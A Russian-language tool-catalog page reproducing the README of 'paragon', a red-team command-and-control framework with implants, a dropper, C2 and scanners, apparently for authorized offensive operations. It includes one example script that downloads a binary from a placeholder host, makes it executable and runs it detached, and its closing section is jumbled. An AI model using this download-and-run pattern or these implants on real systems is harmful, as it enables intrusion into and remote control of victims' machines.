Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/kcarretto/paragon
Фреймворки для пентестаФреймворки для эксплойтовСкриптинг и автоматизацияПост-эксплуатацияКомандование и УправлениеRed TeamingРазработка Полезной Нагрузки
GitHubkcarretto/paragon

paragon

Платформа для взаимодействия Red Team, нацеленная на объединение инструментов атаки под простым пользовательским интерфейсом.

Репозиторий
3044272 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Уведомление о прекращении поддержки

Этот проект прекратил поддержку. Пожалуйста, обратитесь к нашему новому проекту Realm, который основан на многих идеях, заложенных при создании этого репозитория.

CI Build Status Go Report Card Coverage Status GitHub release GoDoc

Paragon

Demo

Paragon — это платформа для проведения Red Team-операций. Она объединяет offensive-инструменты за простым интерфейсом, абстрагируя большую часть серверной работы, чтобы операторы могли сосредоточиться на написании имплантов и тратить меньше времени на базы данных и CSS. Репозиторий также включает несколько offensive-инструментов, уже интегрированных с Paragon, которые можно использовать во время операций.

Этот репозиторий всё ещё находится в стадии активной разработки и не готов к использованию в production. Когда он будет признан стабильным, будет выпущен тег V1.0.0. До этого момента API может претерпевать критические изменения, так как мы постоянно упрощаем наш дизайн. Пожалуйста, ознакомьтесь с документацией для разработчиков ниже, если хотите помочь нам быстрее достичь этого этапа.

Содержание

  • Основные возможности
  • Начало работы
  • Обзор компонентов
  • Часто задаваемые вопросы
  • Терминология
  • Руководство разработчика

Основные возможности

  • Легкая интеграция пользовательских инструментов для объединения операций за единым интерфейсом
  • Запрос графа знаний Red Team через предоставленное GraphQL API
  • Генерация событий для низколатентной автоматизации и обработки в реальном времени
  • Скриптовый язык в стиле Python для развертывания, пост-эксплуатации и многого другого
  • Включены кроссплатформенные импланты и инструменты развертывания
  • Запись действий оператора для удобного агрегирования в отчет по итогам операции

Начало работы

Для быстрого запуска демонстрационного экземпляра клонируйте репозиторий и выполните docker-compose up. Откройте 127.0.0.1:80 в браузере, чтобы начать!

Используемые образы доступны на docker-hub и могут быть настроены из файла docker-compose для production-развертывания.

Обзор компонентов

Скриптовый язык

Большинство компонентов в этом репозитории используют скриптовый язык в стиле Python, обеспечивающий гибкое управление и настройку их поведения. Язык представляет собой модифицированную версию starlark от Google, расширенную кроссплатформенными функциями для операторов. Это также позволяет таким инструментам, как агент и дроппер (описаны ниже), выполнять задачи без использования системных бинарников (curl, bash и т.д.). Все операции выполняются как код на Golang, поэтому добавлять новые функции в среду скриптов интуитивно понятно. Вот пример скрипта:

root@kitploit:~
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")

new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)

# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)

Справочная информация

Teamserver

Предоставляет простое веб-приложение и GraphQL API для взаимодействия с графом знаний Red Team, объединяя инструменты за единым источником истины и абстрагируя множество рутинных серверных задач. Интегрируйте свои инструменты с Teamserver (через GraphQL API или подписки на события), чтобы сэкономить время на серверной части. Teamserver записывает все действия, поэтому, когда все ваши инструменты объединены в одном месте, составление отчетов по итогам операции становится значительно проще.

Встроенные инструменты

Нижеперечисленные инструменты также включены в репозиторий. Их легко расширить для различных кроссплатформенных сценариев использования.

Дроппер

  • Полностью кроссплатформенный
  • Статическая компиляция ресурсов в единый бинарник
  • Предоставляет скриптовый язык в стиле Python для настройки пользовательского развертывания

Paragon предоставляет инструмент для упаковки ресурсов (бинарников, скриптов и т.д.) в один бинарник, который при выполнении запускает ваш пользовательский скрипт развертывания. Скрипт может записывать ресурсы в файловую систему, запускать процессы, скачивать файлы, обрабатывать ошибки и многое другое. Инструмент полностью кроссплатформенный и статически скомпилирован, обеспечивая надежное развертывание. Если вы хотите расширить его функциональность, просто расширьте сгенерированный файл Golang перед компиляцией.

Агент

  • Полностью кроссплатформенный
  • Предоставляет скриптовый язык в стиле Python для пост-эксплуатации
  • Модульные механизмы связи — компилируйте только то, что нужно
    • Используйте несколько вариантов для надежных обратных вызовов
  • Настройка обработки сбоев связи

Имплант, который выполняет задачи и сообщает о результатах. По умолчанию он настроен на выполнение задач с использованием скриптового языка Paragon в стиле Python и связь с C2 через http(s). Написан на Go, может быть быстро модифицирован для добавления новых методов передачи (например, DNS), вариантов выполнения, логики отказоустойчивости и т.д.

C2

  • Легкое развертывание
  • Высокая производительность, способность обрабатывать тысячи агентов
    • Зависит от системных ресурсов и доступной пропускной способности
  • Распределенная служба — используйте столько C2, сколько хотите

Выступает в качестве посредника между агентом и Teamserver. Обрабатывает обратные вызовы агентов для различных механизмов связи и предоставляет им новые задачи из очереди Teamserver.

Runner (Исполнитель)

  • Низкая задержка, выполнение задач в реальном времени
  • Легко расширяется для поддержки дополнительных механизмов связи
  • Распределенная служба — используйте столько runner'ов, сколько хотите

Вместо ожидания обратного вызова некоторые ситуации могут потребовать прямого соединения для быстрого выполнения задачи и просмотра результата. Runner реализует это, подписываясь на очереди задач и устанавливая соединение с целевой машиной (например, через SSH). Это позволяет интеграциям в стиле оболочки использовать тот же интерфейс, что и импланты и C2. Также позволяет проводить первоначальное развертывание имплантов через этот интерфейс.

Сканер

  • Мониторинг доступных целевых сервисов
  • Автоматизация действий при (не)доступности сервисов
  • Предоставление сетевой информации графу знаний, которая может использоваться другими инструментами
  • Распределенная служба — используйте столько сканеров, сколько хотите

Мониторинг сетевой активности целей и видимых сервисов. Построение графа сети операции и запуск автоматизации при изменении состояния (например, SSH становится доступным).

Часто задаваемые вопросы

Что делать, если машины сообщают один и тот же UUID?

Установка переменной окружения PG_KS_MachineUUID для killswitch Teamserver отключит поиск по машине UUID.

Терминология

Для обеспечения четкого понимания сложных систем ниже приведены несколько специфичных для проекта терминов, которые будут использоваться в документации.

Имплант

Любое вредоносное программное обеспечение, которое будет запущено на скомпрометированных системах во время операции.

Задача (Task)

Операции, которые необходимо выполнить на конкретной скомпрометированной системе. Задачи предоставляют инструкции по выполнению имплантам, однако их синтаксис/структура могут быть полностью специфичны для инструмента.

Агент

Имплант, который получает задачи от Teamserver, выполняет их и сообщает результаты. В этот репозиторий включена расширяемая реализация по умолчанию, которая требует предоставления задач в виде скриптов на DSL в стиле Python.

Задание (Job)

Запросы Teamserver на выполнение набора заданных операций. При создании задания инструкции сохраняются, но не выполняются. Пользователь может запросить выполнение задания ноль или более раз, поместив его в очередь и указав необходимые параметры. Задания нельзя обновлять, но можно создавать новые версии заданий, чтобы избежать излишнего копирования.

Типичный вариант использования задания — выполнить скрипт на нескольких целях. Пользователь создает задание, которое инструктирует Teamserver создать задачи с указанным содержимым, но оставляет целевые машины как параметр. При постановке в очередь пользователь указывает список целевых машин в качестве параметра, и Teamserver создает задачу для каждой машины.

Руководство разработчика

Ниже приведено краткое введение в разработку Paragon. Дополнительная документация находится в пакетах godocs или в коде :) После того как мы окончательно определимся с некоторыми дизайнерскими решениями (задолго до v1), будет введена заморозка кода до тех пор, пока вся документация не будет обновлена и должным образом организована.

Предварительные требования

  • Git
  • Docker
  • VSCode
    • Хотя вы можете использовать другие редакторы, вы потеряете возможности настройки, ускоряющие разработку в VSCode
    • Расширение Remote - Containers от Microsoft обязательно для начала работы.

Настройка окружения

Установите перечисленные выше предварительные требования, и вы сможете начать работу очень быстро. Просто клонируйте репозиторий и откройте его в VSCode. Вам будет предложено открыть код в контейнере разработки, который уже настроен со всеми зависимостями проекта и необходимыми инструментами разработчика. Если этот вариант не отобразится, откройте палитру команд и выполните > Remote-Containers: Open Folder In Container. Если вы запускаете контейнер впервые, скачивание может занять некоторое время — так что налейте себе кофе ^_^

Структура проекта

Ниже представлен обзор структуры проекта и расположения каждого компонента. Если эта информация устарела, пожалуйста, сообщите об этом, создав issue, или, что предпочтительнее, PR с исправлением. Кодовая база представляет собой монорепозиторий, что позволяет нам использовать общие инструменты разработки, стандартизацию и т.д., избегая сложных конфликтов версий.

ПапкаНазначение
.devcontainerКонфигурация для контейнера разработки VSCode.
.githubКонфигурация Github.
.statsДиректория, игнорируемая git (может присутствовать или отсутствовать), для хранения результатов профилирования производительности.
entОпределения API для графа, используемые Teamserver.
graphqlСхема GraphQL и связанный сгенерированный код из ent.
cmdИсполняемые инструменты и службы командной строки.
distДиректория, игнорируемая git, для хранения артефактов сборки.
dockerDockerfile для примера развертывания.
entГрафовые модели и схемы, используемые Teamserver (см. инструмент entgo от Facebook).
pkgПубличные библиотеки, используемые инструментами репозитория, но также доступные внешнему миру.
pkg/agentАбстракция для простого создания импланта или транспортного механизма связи.
pkg/c2Вспомогательные функции службы C2 и стандартизированные определения сообщений.
pkg/c2/protoСпецификация Protobuf для определения стандартизированного формата сериализации для связи Агент <-> C2.
pkg/dropПростой метод, используемый скомпилированными полезными нагрузками дроппера.
pkg/middlewareРаспространенные middleware для HTTP-сервисов.
pkg/scriptСкриптовый язык в стиле Python для динамической конфигурации, автоматизации и кроссплатформенной эксплуатации.
pkg/script/stdlibСтандартные библиотеки, предоставляющие функциональность для сред выполнения скриптов.
pkg/teamserverВспомогательные функции службы Teamserver.
wwwСодержит основное веб-приложение, размещаемое Teamserver. Создано с помощью create-react-app от Facebook.
www/src/componentsПереиспользуемые react-компоненты.
www/src/configКонфигурация и маршрутизация веб-приложения.
www/src/viewsКонтейнеры, которые запрашивают данные из Teamserver и составляют компоненты для отображения.

Справочник по Teamserver

Граф знаний

Ниже представлен обзор связей между узлами графа знаний Red Team, управляемого Teamserver.

Graph

Справочник по агенту

приоритет трафика. Чтобы использовать свой собственный, просто реализуйте интерфейс agent.Sender и зарегистрируйте свой транспорт при инициализации. Примеры существующих транспортных механизмов можно найти в поддиректориях пакета agent.

Выполнение задач

По умолчанию агент ожидает, что задачи соответствуют синтаксису starlark, и предоставляет стандартную библиотеку для использования в скриптах. Чтобы изменить поведение выполнения задач (например, использовать только команды bash), реализуйте интерфейс agent.Receiver и выполняйте задачи по своему усмотрению.

Среда скриптов

Среду скриптов можно настроить для вашего агента, что позволит легко упаковывать новую функциональность для использования в скриптах. См. опции скриптов, чтобы узнать, как расширить движок скриптов агента.

Поток выполнения

Ниже представлена диаграмма общего выполнения импланта агента.

Добавление транспорта

Агент спроектирован так, чтобы его можно было легко настраивать с помощью новых транспортных механизмов, мультиплексируя связь на основе

AgentExec

Скачать инструмент